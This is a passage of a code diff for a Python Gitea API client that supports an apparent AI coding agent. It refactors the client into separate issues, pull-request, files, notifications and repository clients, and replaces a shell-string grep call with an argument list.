print(f"Error marking notification thread {thread_id} as read: {e}")
return False
def merge_pull_request(
self, owner: str, repo: str, pull_number: int, style: str = "squash", title: str = "", message: str = ""
) -> bool:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
data: dict[str, Any] = {
"Do": style,
"MergeTitleField": title,
"MergeMessageField": message,
}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return True
except Exception as e:
print(f"Error merging pull request {pull_number}: {e}")
raise
self.client.close()
except Exception:
pass
+4 -9
View File
@@ -13,6 +13,8 @@ class AgentSettings(BaseSettings):
gitea_repos_root: str = ""
agent_model_id: str = "qwen/qwen3.6-35b-a3b"
agent_max_retries: int = 2
agent_usernames: list[str] = ["agent-bot"]
gitea_org_filter: str = "meeks"
searxng_url: str = ""
searxng_username: str = ""
searxng_password: str = ""
@@ -31,15 +33,8 @@ GITEA_TOKEN: str = _agent_settings.gitea_token
GITEA_REPOS_ROOT: str = _agent_settings.gitea_repos_root
AGENT_MODEL_ID: str = _agent_settings.agent_model_id
AGENT_MAX_RETRIES: int = _agent_settings.agent_max_retries
AGENT_USERNAMES: list[str] = _agent_settings.agent_usernames
GITEA_ORG_FILTER: str = _agent_settings.gitea_org_filter
SEARXNG_URL: str = _agent_settings.searxng_url
SEARXNG_USERNAME: str = _agent_settings.searxng_username
SEARXNG_PASSWORD: str = _agent_settings.searxng_password
import os
os.environ["GITEA_SERVER_URL"] = GITEA_URL
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
os.environ["SEARXNG_URL"] = SEARXNG_URL
os.environ["SEARXNG_USERNAME"] = SEARXNG_USERNAME
os.environ["SEARXNG_PASSWORD"] = SEARXNG_PASSWORD
+115
View File
@@ -0,0 +1,115 @@
"""Files client for Gitea API operations."""
import base64
import logging
import httpx
logger: logging.Logger = logging.getLogger("gitea.files_client")
class FilesClient:
"""HTTP client for Gitea Files and Git Refs API operations."""
def __init__(self, base_url: str, client: httpx.Client) -> None:
"""Initialize the FilesClient.
Args:
base_url: The base URL for the Gitea API.
client: The httpx client for making requests.
"""
self.base_url: str = base_url
self.client: httpx.Client = client
def update_file(
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
) -> dict[str, object]:
"""Update a file in a repository.
Args:
owner: Repository owner.
repo: Repository name.
path: File path.
message: Commit message.
content: File content.
branch: Branch name.
Returns:
The API response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
data: dict[str, str] = {
"message": message,
"content": base64.b64encode(content.encode()).decode(),
"branch": branch,
"new_branch": f"{branch}-update-{path}",
}
response = self.client.put(url, json=data)
response.raise_for_status()
return response.json()
def get_file_content(
self, owner: str, repo: str, path: str, ref: str = "master"
) -> str | list[str]:
"""Get the content of a file or directory.
Args:
owner: Repository owner.
repo: Repository name.
path: File or directory path.
ref: Git reference (branch, tag, commit).
Returns:
File content as string, or list of file names if path is a directory.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
params: dict[str, str] = {"ref": ref}
response = self.client.get(url, params=params)
response.raise_for_status()
data = response.json()
if isinstance(data, list):
return [
item.get("content", "") for item in data if item.get("type") == "file"
]
return (
base64.b64decode(data.get("content", "")).decode()
if data.get("content")
else ""
)
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
"""Update a git reference.
Args:
owner: Repository owner.
repo: Repository name.
ref: Reference name (e.g., heads/main).
sha: New SHA for the reference.
Returns:
The API response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
data: dict[str, str] = {"sha": sha}
response = self.client.post(url, json=data)
response.raise_for_status()
return response.json()
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
"""Create a new git reference.
Args:
owner: Repository owner.
repo: Repository name.
ref: Reference name (e.g., refs/heads/new-branch).
sha: SHA for the reference.
Returns:
The API response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
data: dict[str, str] = {"ref": ref, "sha": sha}
response = self.client.post(url, json=data)
response.raise_for_status()
return response.json()
+248
View File
@@ -0,0 +1,248 @@
"""Issues client for Gitea API operations."""
import logging
from typing import Callable, Optional
import httpx
from .models import (
CommentModel,
IssueModel,
LabelModel,
RepositoryModel,
UserModel,
)
logger: logging.Logger = logging.getLogger("gitea.issues_client")
class IssuesClient:
"""HTTP client for Gitea Issues API operations."""
def __init__(
self,
base_url: str,
client: httpx.Client,
get_user: Callable[[], UserModel] | None = None,
get_repos: Callable[[], list[RepositoryModel]] | None = None,
) -> None:
"""Initialize the IssuesClient.
Args:
base_url: The base URL for the Gitea API.
client: The httpx client for making requests.
get_user: Optional callable to get the authenticated user.
get_repos: Optional callable to get all user repos.
"""
self.base_url: str = base_url
self.client: httpx.Client = client
self._get_user: Callable[[], UserModel] | None = get_user
self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
def list_repo_issues(
self, owner: str, repo: str, state: str = "open"
) -> list[IssueModel]:
"""List issues for a repository.
Args:
owner: Repository owner.
repo: Repository name.
state: Issue state filter (open, closed, all).
Returns:
List of issues matching the criteria.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
response = self.client.get(url)
response.raise_for_status()
return [IssueModel(**item) for item in response.json()]
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
"""Get a specific issue.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
Returns:
The requested issue.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
response = self.client.get(url)
response.raise_for_status()
return IssueModel(**response.json())
def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
"""Close an issue.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
Returns:
The updated issue.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
data: dict[str, str] = {"state": "closed"}
response = self.client.patch(url, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def get_issue_comments(
self, owner: str, repo: str, issue_number: int
) -> list[CommentModel]:
"""Get comments on an issue.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
Returns:
List of comments on the issue.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
response = self.client.get(url)
response.raise_for_status()
return [CommentModel(**item) for item in response.json()]
def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
"""List issues assigned to the authenticated user.
Args:
owner: Optional repository owner to filter by.
repo: Optional repository name to filter by.
Returns:
List of issues assigned to the authenticated user.
"""
try:
if self._get_user is None or self._get_repos is None:
logger.error("get_user and get_repos callables are required")
return []
user = self._get_user()
if not user:
return []
username: str = user.login
if owner and repo:
response = self.client.get(
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
)
response.raise_for_status()
return [IssueModel(**item) for item in response.json()]
all_issues: list[IssueModel] = []
repos = self._get_repos()
for r in repos:
repo_owner = r.owner
repo_name = r.name
resp = self.client.get(
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
)
if resp.status_code == 200:
for item in resp.json():
issue = IssueModel(**item)
# Backfill repository if Gitea omitted it
if issue.repository is None:
issue = issue.model_copy(update={"repository": r})
all_issues.append(issue)
return all_issues
except Exception as e:
logger.error(f"Error listing assigned issues: {e}", exc_info=True)
return []
def assign_issue(
self, owner: str, repo: str, issue_number: int, username: str
) -> IssueModel:
"""Assign an issue to a user.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
username: Username to assign.
Returns:
The updated issue.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
data: dict[str, list[str]] = {"assignees": [username]}
response = self.client.patch(url, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def create_issue(
self,
owner: str,
repo: str,
title: str,
body: str,
labels: list[str] | None = None,
assignees: list[str] | None = None,
) -> IssueModel:
"""Create a new issue.
Args:
owner: Repository owner.
repo: Repository name.
title: Issue title.
body: Issue body/description.
labels: Optional list of label IDs.
assignees: Optional list of usernames to assign.
Returns:
The created issue.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
data: dict[str, str | list[str]] = {"title": title, "body": body}
if labels:
data["labels"] = labels
if assignees:
data["assignees"] = assignees
response = self.client.post(url, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def add_comment(
self, owner: str, repo: str, issue_number: int, body: str
) -> CommentModel:
"""Add a comment to an issue.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
body: Comment body.
Returns:
The created comment.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
data: dict[str, str] = {"body": body}
response = self.client.post(url, json=data)
response.raise_for_status()
return CommentModel(**response.json())
def add_label(
self, owner: str, repo: str, issue_number: int, label: str
) -> LabelModel:
"""Add a label to an issue.
Args:
owner: Repository owner.
repo: Repository name.
issue_number: Issue number.
label: Label name or ID.
Returns:
The added label.
"""
url = (
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
)
data: list[str] = [label]
response = self.client.post(url, json=data)
response.raise_for_status()
return LabelModel(**response.json())
+3 -3
View File
@@ -1,6 +1,6 @@
"""Pydantic models for Gitea API entities."""
from typing import Optional, Any
from typing import Optional
from pydantic import BaseModel, Field, field_validator
@@ -71,8 +71,8 @@ class PullRequestModel(BaseModel):
updated_at: Optional[str] = None
closed_at: Optional[str] = None
merged_at: Optional[str] = None
head: dict[str, Any] = Field(default_factory=dict)
base: dict[str, Any] = Field(default_factory=dict)
head: dict[str, object] = Field(default_factory=dict)
base: dict[str, object] = Field(default_factory=dict)
repository: Optional[RepositoryModel] = None
comments: int = 0
comments_url: Optional[str] = None
+78
View File
@@ -0,0 +1,78 @@
"""Notifications client for Gitea API operations."""
import logging
from typing import Optional
import httpx
logger: logging.Logger = logging.getLogger("gitea.notifications_client")
class NotificationsClient:
"""HTTP client for Gitea Notifications API operations."""
def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
"""Initialize the NotificationsClient.
Args:
base_url: The base URL for the Gitea API.
client: The httpx client for making requests.
org_filter: Organization filter for notifications.
"""
self.base_url: str = base_url
self.client: httpx.Client = client
self.org_filter: str = org_filter
def list_unread_notifications(
self, since: Optional[str] = None
) -> list[dict[str, object]]:
"""List unread notifications.
Args:
since: Optional ISO 8601 timestamp to filter notifications after.
Returns:
List of unread notifications for the configured organization.
"""
try:
url = f"{self.base_url}/api/v1/notifications"
params: dict[str, str] = {"all": "false"}
if since:
params["since"] = since
response = self.client.get(url, params=params)
response.raise_for_status()
notifications: list[dict[str, object]] = response.json()
result: list[dict[str, object]] = []
for n in notifications:
repo_info = n.get("repository") or {}
owner_info = repo_info.get("owner") or {}
owner_login = owner_info.get("login", "")
if owner_login == self.org_filter:
result.append(n)
return result
except Exception as e:
logger.error(f"Error listing unread notifications: {e}", exc_info=True)
return []
def mark_notification_as_read(self, thread_id: int) -> bool:
"""Mark a notification as read.
Args:
thread_id: Notification thread ID.
Returns:
True if successful, False otherwise.
"""
try:
url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
response = self.client.patch(url)
response.raise_for_status()
return True
except Exception as e:
logger.error(
f"Error marking notification thread {thread_id} as read: {e}",
exc_info=True,
)
return False
+469
View File
@@ -0,0 +1,469 @@
"""Pull Requests client for Gitea API operations."""
import logging
from dataclasses import dataclass
from typing import Callable
import httpx
from .models import (
CommentModel,
LabelModel,
PullRequestFileModel,
PullRequestModel,
RepositoryModel,
UserModel,
)
logger: logging.Logger = logging.getLogger("gitea.prs_client")
@dataclass
class ReviewRequest:
event: str
body: str
class PullRequestsClient:
"""HTTP client for Gitea Pull Requests API operations."""
def __init__(
self,
base_url: str,
client: httpx.Client,
get_user: Callable[[], UserModel] | None = None,
get_repos: Callable[[], list[RepositoryModel]] | None = None,
) -> None:
"""Initialize the PullRequestsClient.
Args:
base_url: The base URL for the Gitea API.
client: The httpx client for making requests.
get_user: Optional callable to get the authenticated user.
get_repos: Optional callable to get all user repos.
"""
self.base_url: str = base_url
self.client: httpx.Client = client
self._get_user: Callable[[], UserModel] | None = get_user
self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
def list_repo_pull_requests(
self, owner: str, repo: str, state: str = "open"
) -> list[PullRequestModel]:
"""List pull requests for a repository.
Args:
owner: Repository owner.
repo: Repository name.
state: PR state filter (open, closed, all).
Returns:
List of pull requests matching the criteria.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
response = self.client.get(url)
if response.status_code == 404:
return []
response.raise_for_status()
return [PullRequestModel(**item) for item in response.json()]
def get_pull_request(
self, owner: str, repo: str, pull_number: int
) -> PullRequestModel:
"""Get a specific pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
The requested pull request.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
response = self.client.get(url)
response.raise_for_status()
return PullRequestModel(**response.json())
def close_pull_request(
self, owner: str, repo: str, pull_number: int
) -> PullRequestModel:
"""Close a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
The updated pull request.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
data: dict[str, str] = {"state": "closed"}
response = self.client.patch(url, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
def get_pull_request_comments(
self, owner: str, repo: str, pull_number: int
) -> list[CommentModel]:
"""Get comments on a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
List of comments on the pull request.
"""
url = (
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
)
response = self.client.get(url)
response.raise_for_status()
return [CommentModel(**item) for item in response.json()]
def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
"""Get the diff for a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
The diff as a string.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
response = self.client.get(url)
response.raise_for_status()
return response.text
def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
"""Get the patch for a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
The patch as a string.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
response = self.client.get(url)
response.raise_for_status()
return response.text
def get_pull_request_files(
self, owner: str, repo: str, pull_number: int
) -> list[PullRequestFileModel]:
"""Get the files changed in a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
Returns:
List of files changed in the pull request.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
response = self.client.get(url)
response.raise_for_status()
return [PullRequestFileModel(**item) for item in response.json()]
def list_assigned_pull_requests(
self, owner: str = "", repo: str = ""
) -> list[PullRequestModel]:
"""List all pull requests assigned to or authored by the authenticated user.
Args:
owner: Optional repository owner to filter by.
repo: Optional repository name to filter by.
Returns:
List of pull requests assigned to or authored by the user.
"""
try:
if self._get_user is None or self._get_repos is None:
logger.error("get_user and get_repos callables are required")
return []
user = self._get_user()
if not user:
return []
username: str = user.login
if owner and repo:
response = self.client.get(
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
)
if response.status_code == 404:
return []
response.raise_for_status()
all_prs: list[PullRequestModel] = [
PullRequestModel(**pr) for pr in response.json()
]
return [
pr
for pr in all_prs
if (pr.assignee and pr.assignee.login == username)
or (pr.user and pr.user.login == username)
]
all_prs: list[PullRequestModel] = []
repos = self._get_repos()
for r in repos:
repo_owner = r.owner
repo_name = r.name
resp = self.client.get(
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
)
if resp.status_code == 200:
for pr_data in resp.json():
pr = PullRequestModel(**pr_data)
if (pr.assignee and pr.assignee.login == username) or (
pr.user and pr.user.login == username
):
# Backfill repository if Gitea omitted it
if pr.repository is None:
pr = pr.model_copy(update={"repository": r})
all_prs.append(pr)
return all_prs
except Exception as e:
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
return []
def create_pull_request(
self,
owner: str,
repo: str,
head: str,
base: str,
title: str,
description: str = "",
) -> PullRequestModel:
"""Create a new pull request.
Args:
owner: Repository owner.
repo: Repository name.
head: Head branch name.
base: Base branch name.
title: Pull request title.
description: Pull request description.
Returns:
The created pull request.
"""
try:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
data: dict[str, str] = {
"title": title,
"body": description,
"head": head,
"base": base,
}
response = self.client.post(url, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
except Exception as e:
logger.error(f"Error creating pull request: {e}", exc_info=True)
raise
def update_pull_request(
self,
owner: str,
repo: str,
pull_number: int,
title: str | None = None,
body: str | None = None,
state: str | None = None,
) -> PullRequestModel:
"""Update a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
title: Optional new title.
body: Optional new body.
state: Optional new state.
Returns:
The updated pull request.
"""
try:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
data: dict[str, str | None] = {}
if title is not None:
data["title"] = title
if body is not None:
data["body"] = body
if state is not None:
data["state"] = state
response = self.client.patch(url, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
except Exception as e:
logger.error(f"Error updating pull request: {e}", exc_info=True)
raise
def create_pr_via_tea(
self, owner: str, repo: str, title: str, description: str, head: str, base: str
) -> PullRequestModel:
"""Create a pull request (alias for create_pull_request).
Args:
owner: Repository owner.
repo: Repository name.
title: Pull request title.
description: Pull request description.
head: Head branch name.
base: Base branch name.
Returns:
The created pull request.
"""
return self.create_pull_request(owner, repo, head, base, title, description)
def approve_pr(
self, owner: str, repo: str, pr_number: int, comment: str
) -> dict[str, object]:
"""Approve a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pr_number: Pull request number.
comment: Review comment.
Returns:
The review response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
review: ReviewRequest = ReviewRequest(event="APPROVED", body=comment)
response = self.client.post(url, json={"event": review.event, "body": review.body})
response.raise_for_status()
return response.json()
def request_changes_pr(
self, owner: str, repo: str, pr_number: int, comment: str
) -> dict[str, object]:
"""Request changes on a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pr_number: Pull request number.
comment: Review comment.
Returns:
The review response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
review: ReviewRequest = ReviewRequest(event="REQUEST_CHANGES", body=comment)
response = self.client.post(url, json={"event": review.event, "body": review.body})
response.raise_for_status()
return response.json()
def get_pr_reviews(
self, owner: str, repo: str, pr_number: int
) -> list[dict[str, object]]:
"""Get reviews for a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pr_number: Pull request number.
Returns:
List of reviews.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
response = self.client.get(url)
if response.status_code == 404:
return []
response.raise_for_status()
return response.json()
def dismiss_review_pr(
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
) -> dict[str, object]:
"""Dismiss a review on a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pr_number: Pull request number.
review_id: Review ID to dismiss.
message: Dismissal message.
Returns:
The dismissal response.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
data: dict[str, str] = {"message": message}
response = self.client.post(url, json=data)
response.raise_for_status()
return response.json()
def add_label_pr(
self, owner: str, repo: str, pr_number: int, label: str
) -> LabelModel:
"""Add a label to a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pr_number: Pull request number.
label: Label name or ID.
Returns:
The added label.
"""
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
data: list[str] = [label]
response = self.client.post(url, json=data)
response.raise_for_status()
return LabelModel(**response.json())
def merge_pull_request(
self,
owner: str,
repo: str,
pull_number: int,
style: str = "squash",
title: str = "",
message: str = "",
) -> bool:
"""Merge a pull request.
Args:
owner: Repository owner.
repo: Repository name.
pull_number: Pull request number.
style: Merge style (squash, merge, rebase).
title: Optional merge commit title.
message: Optional merge commit message.
Returns:
True if merge was successful.
"""
try:
url = (
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
)
data: dict[str, str] = {
"Do": style,
"MergeTitleField": title,
"MergeMessageField": message,
}
response = self.client.post(url, json=data)
response.raise_for_status()
return True
except Exception as e:
logger.error(
f"Error merging pull request {pull_number}: {e}", exc_info=True
)
raise
+71
View File
@@ -0,0 +1,71 @@
"""Repositories client for Gitea API operations."""
import logging
import httpx
from .models import RepositoryModel, UserModel
logger: logging.Logger = logging.getLogger("gitea.repos_client")
class ReposClient:
"""HTTP client for Gitea Repositories API operations."""
def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
"""Initialize the ReposClient.
Args:
base_url: The base URL for the Gitea API.
client: The httpx client for making requests.
org_filter: Organization filter for repositories.
"""
self.base_url: str = base_url
self.client: httpx.Client = client
self.org_filter: str = org_filter
def list_all_user_repos(self) -> list[RepositoryModel]:
"""List all repositories for the authenticated user.
Returns:
List of repositories belonging to the configured organization.
"""
try:
url = f"{self.base_url}/api/v1/user/repos"
response = self.client.get(url)
response.raise_for_status()
repos: list[dict[str, object]] = response.json()
# Filter to ONLY configured organization repos, include mirrors
seen: set[str] = set()
result: list[RepositoryModel] = []
for r in repos:
full_name = r.get("full_name", "")
if (
full_name
and full_name not in seen
and (r.get("owner") or {}).get("login") == self.org_filter
):
seen.add(full_name)
result.append(RepositoryModel(**r))
return result
except Exception as e:
logger.error(f"Error listing user repos: {e}", exc_info=True)
return []
def get_authenticated_user(self) -> UserModel:
"""Get the authenticated user.
Returns:
The authenticated user.
Raises:
RuntimeError: If the user cannot be retrieved.
"""
try:
response = self.client.get(f"{self.base_url}/api/v1/user")
response.raise_for_status()
return UserModel(**response.json())
except Exception as e:
logger.error(f"Error getting authenticated user: {e}", exc_info=True)
raise RuntimeError(f"Could not get authenticated user: {e}") from e
+14 -3
View File
@@ -132,6 +132,15 @@ class CodingTools:
return commands
def _get_subprocess_env(self) -> dict[str, str]:
from gitea.config import GITEA_URL, GITEA_TOKEN
env = os.environ.copy()
if GITEA_URL:
env["GITEA_SERVER_URL"] = GITEA_URL
if GITEA_TOKEN:
env["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
return env
def run_verification(self) -> tuple[bool, str]:
commands = self._parse_verification_commands()
if not commands:
@@ -143,7 +152,8 @@ class CodingTools:
try:
res = subprocess.run(
cmd, shell=True, cwd=self.repo_path,
capture_output=True, text=True, timeout=120
capture_output=True, text=True, timeout=120,
env=self._get_subprocess_env()
)
if res.returncode != 0:
log_output.append(
@@ -213,6 +223,7 @@ class CodingTools:
stderr=subprocess.PIPE,
text=True,
cwd=self.repo_path,
env=self._get_subprocess_env(),
)
stdout: str
stderr: str
@@ -263,10 +274,10 @@ class CodingTools:
"""
resolved: str = self._resolve_path(path)
try:
command: str = f"grep -ri '{pattern}' {resolved}"
command: list[str] = ["grep", "-ri", pattern, resolved]
process: subprocess.Popen[str] = subprocess.Popen(
command,
shell=True,
shell=False,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
+52 -7
View File
@@ -1,3 +1,5 @@
import os
from pathlib import Path
from typing import Any
from gitea.client import GiteaClient
@@ -5,8 +7,9 @@ from gitea.client import GiteaClient
class FileTools:
"""Tools for Gitea file/content operations."""
def __init__(self, client: GiteaClient) -> None:
def __init__(self, client: GiteaClient, repo_path: str | None = None) -> None:
self._client = client
self._repo_path: str | None = repo_path
def _paginate_lines(
self,
@@ -35,6 +38,15 @@ class FileTools:
)
return result
def _resolve_local_path(self, owner: str, repo: str, path: str) -> str | None:
"""Resolve owner/repo/path to a local filesystem path if the repo is cloned."""
if not self._repo_path:
return None
local_repo: str = os.path.join(self._repo_path, owner, repo)
if os.path.isdir(local_repo):
return os.path.join(local_repo, path)
return None
def get_file_content(
self,
owner: str,
@@ -45,12 +57,24 @@ class FileTools:
) -> str:
"""Get the content of a file from a Gitea repository with line paging.
Checks the local workspace first if repo_path is configured, falling
back to the remote API when the file is not available locally.
Args:
offset: 1-indexed line to start from (default 1).
limit: Maximum number of lines to return (default 250).
"""
local_path: str | None = self._resolve_local_path(owner, repo, path)
if local_path and os.path.isfile(local_path):
try:
content = self._client.get_file_content(owner, repo, path)
with open(local_path, 'r', encoding='utf-8', errors='replace') as f:
raw: str = f.read()
return self._paginate_lines(raw, offset, limit)
except Exception:
pass
try:
content = self._client.files.get_file_content(owner, repo, path)
raw: str = "\n".join(content) if isinstance(content, list) else content
return self._paginate_lines(raw, offset, limit)
except Exception as e:
@@ -67,28 +91,49 @@ class FileTools:
) -> str:
"""Get file content at a specific git ref with line paging.
Checks the local workspace first using ``git show`` if the repo is
cloned locally, falling back to the remote API.
Args:
ref: Branch, tag, or commit SHA (default 'master').
offset: 1-indexed line to start from (default 1).
limit: Maximum number of lines to return (default 250).
"""
if self._repo_path:
local_repo: str = os.path.join(self._repo_path, owner, repo)
if os.path.isdir(local_repo):
try:
content = self._client.get_file_content(owner, repo, path, ref)
import subprocess
result = subprocess.run(
["git", "-C", local_repo, "show", f"{ref}:{path}"],
capture_output=True, text=True, timeout=15,
)
if result.returncode == 0:
return self._paginate_lines(result.stdout, offset, limit)
except Exception:
pass
try:
content = self._client.files.get_file_content(owner, repo, path, ref)
raw: str = "\n".join(content) if isinstance(content, list) else content
return self._paginate_lines(raw, offset, limit)
except Exception as e:
return f"Error getting file content: {str(e)}"
def commit_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
def commit_file(
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
) -> str:
try:
self._client.update_file(owner, repo, path, message, content, branch)
self._client.files.update_file(owner, repo, path, message, content, branch)
return f"File '{path}' committed successfully to {owner}/{repo}."
except Exception as e:
return f"Error committing file: {str(e)}"
def update_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
def update_file(
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
) -> str:
try:
self._client.update_file(owner, repo, path, message, content, branch)
self._client.files.update_file(owner, repo, path, message, content, branch)
return f"File '{path}' updated in {owner}/{repo}."
except Exception as e:
return f"Error updating file: {str(e)}"
+1 -2
View File
@@ -1,4 +1,3 @@
from typing import Any
from gitea.client import GiteaClient
@@ -10,7 +9,7 @@ class GitTools:
def create_branch(self, owner: str, repo: str, ref: str, sha: str) -> str:
try:
self._client.create_ref(owner, repo, ref, sha)
self._client.files.create_ref(owner, repo, ref, sha)
return f"Branch '{ref}' created successfully in {owner}/{repo}."
except Exception as e:
return f"Error creating branch: {str(e)}"
-177
View File
@@ -1,177 +0,0 @@
from gitea.tools.issue_tools import IssueTools
from gitea.tools.pr_tools import PRTools
from gitea.tools.file_tools import FileTools
from gitea.tools.git_tools import GitTools
from gitea.client import GiteaClient
class GiteaTools:
"""Facade for Gitea tool operations - delegates to focused tool classes."""
def __init__(self, client: GiteaClient) -> None:
self._client = client
self.issue_tools = IssueTools(client)
self.pr_tools = PRTools(client)
self.file_tools = FileTools(client)
self.git_tools = GitTools(client)
# ---- Issue operations (delegated) ----
def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
"""Get the details of a specific issue. Args: owner (repo owner), repo (repo name), issue_number (issue ID)."""
return self.issue_tools.get_issue(owner, repo, issue_number)
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
"""Get the details of a specific pull request. Args: owner (repo owner), repo (repo name), pull_number (PR ID)."""
return self.pr_tools.get_pull_request(owner, repo, pull_number)
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
"""Close an issue. Args: owner (repo owner), repo (repo name), issue_number (issue ID)."""
return self.issue_tools.close_issue(owner, repo, issue_number)
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
"""Close a pull request. Args: owner (repo owner), repo (repo name), pull_number (PR ID)."""
return self.pr_tools.close_pull_request(owner, repo, pull_number)
def get_issue_comments(
self,
owner: str,
repo: str,
issue_number: int,
limit: int = 20,
offset: int = 0,
) -> str:
"""Get all comments on an issue. Args: owner, repo, issue_number, limit (default 20), offset (default 0)."""
return self.issue_tools.get_issue_comments(owner, repo, issue_number, limit=limit, offset=offset)
def get_pull_request_comments(
self,
owner: str,
repo: str,
pull_number: int,
limit: int = 20,
offset: int = 0,
) -> str:
"""Get all comments on a pull request. Args: owner, repo, pull_number, limit (default 20), offset (default 0)."""
return self.pr_tools.get_pull_request_comments(owner, repo, pull_number, limit=limit, offset=offset)
def list_assigned_issues(self) -> list[dict]:
"""List all issues assigned to the authenticated user across all repos."""
return self.issue_tools.list_assigned_issues()
def list_assigned_pull_requests(self) -> list[dict]:
"""List all pull requests assigned to the authenticated user across all repos."""
return self.pr_tools.list_assigned_pull_requests()
def list_issues(self, owner: str, repo: str, state: str = "open") -> str:
"""List issues in a repository. Args: owner (repo owner), repo (repo name), state (open, closed, or all)."""
return self.issue_tools.list_issues(owner, repo, state)
def list_pull_requests(self, owner: str, repo: str, state: str = "open") -> str:
"""List pull requests in a repository. Args: owner (repo owner), repo (repo name), state (open, closed, or all)."""
return self.pr_tools.list_pull_requests(owner, repo, state)
def get_file_content(
self,
owner: str,
repo: str,
path: str,
offset: int = 1,
limit: int = 250,
